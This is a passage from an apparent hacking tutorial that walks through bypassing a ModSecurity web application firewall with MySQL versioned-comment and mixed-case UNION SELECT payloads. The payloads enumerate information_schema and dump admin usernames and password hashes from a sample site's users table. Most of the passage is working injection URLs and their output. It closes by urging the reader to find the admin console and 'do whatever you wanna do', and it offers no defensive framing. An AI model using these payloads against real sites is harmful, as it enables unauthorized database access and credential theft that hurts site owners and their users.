theexistence of 6 columns in the current database. We were lucky though since theWAF did not block the 'ORDER'keyword. We need that sometimes!However, sincenow we know the number of columns in use; lets see which columns getdisplayed in the response.The query wouldlook like: http://targetsite.com/demo/exams.php?sort=8 UNION Select 1,2,3,4,5,6--OOPS! Mod_Security again!So I guess thefilter has been set on 'UNION' and 'SELECT' keywords. So now it's time toactually bypass the WAF (since we've had enough of it) by modifying the queryand force the backend database to exfiltrate data as we desire.Bypassing WAF:Let's try the modified query below:http://targetsite.com/demo/exams.php?sort=8+/*!50000union*/+/*!50000select*/+1,2,3,4,5,6--+It seems likethe 3rd, 4th and 6th columns are being displayed. Now we can use SQL Injectionto extract data and display them on the above displayed columnsLet's extractour first GOLDEN PRIZED data by finding out the MySQL version and the currentdatabase user.http://targetsite.com/demo/exams.php?sort=8+/*!50000union*/+/*!50000select*/+1,2, current_user(),@@version,5,6--+Extracting Data from Database:Since we knowits a MYSQL database, we also know that there are some globally defineddatabase tables, columns and schema. The names and hierarchies are as follows: information_schema - name of the meta-database inMYSQL which has the following table columns -is the table name in the information_schema which in turn has the following columns insideu table_name -all tables in all databasesu column_name -all columns in all the tables of all the databasesu table_schema- all databases in serverNow lets usethis to get some data.Step 1. Extracting Tables: http://targetsite.com/demo/exams.php?sort=8+/*!50000union*/+/*!50000select*/+1,2,3,4,5,/*!50000gROup_cONcat(table_name,0x0a) */+from+/*!50000inforMAtion_schema*/.tables+%20/*!50000wHEre*/+/*!50000taBLe_scheMA */like+database()--+Anythinginteresting? 'users' table seems tobe interesting!Let's query itfurther to see what kind of columns it has.Step 2. Extracting Columns from 'users' Table http://targetsite.com/demo/exams.php?sort=8+/*!50000union*/+/*!50000select*/+1,2,3,4,5,/* !50000gROup_cONcat(column_name,0x0a)*/+from+/*!50000inforMAtion_schema*/.columns+/ *!50000wHEre*/+/*!50000taBLe_name*/=CHAR(117,%20115,%20101,%20114,%20115)--+I guess wereached the 'orgasmic' point where the next step could lead you to a completedifferent level. Imagine having a list of all the usernames and passwords atyour disposal and especially if you have the ADMIN creds. Well I am not sayinganything but you are intelligent enough to make use of it. So ready for yourfinal attempt? Here we GOStep 3. Extracting Data from 'username' & 'password' Columns http://targetsite.com/demo/exams.php?sort=8+/*!50000union*/+/*!50000select*/+1,2,3,4,5,/*!50000gROup_cONcat(username,0x0a, password)*/+from+/*!50000users*/--+The data that Iam most interested in is:'admin':'9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684'Looks like aSHA-1 Hash which finally resolves to 'pass'once reversed. So the final value:Username: adminPassword: passDo I need to tell you what to do next!! Just gofind the GOD DAMN admin console and do whatever you wanna do. My Job here isdone. See you again. Till thenHasta la vista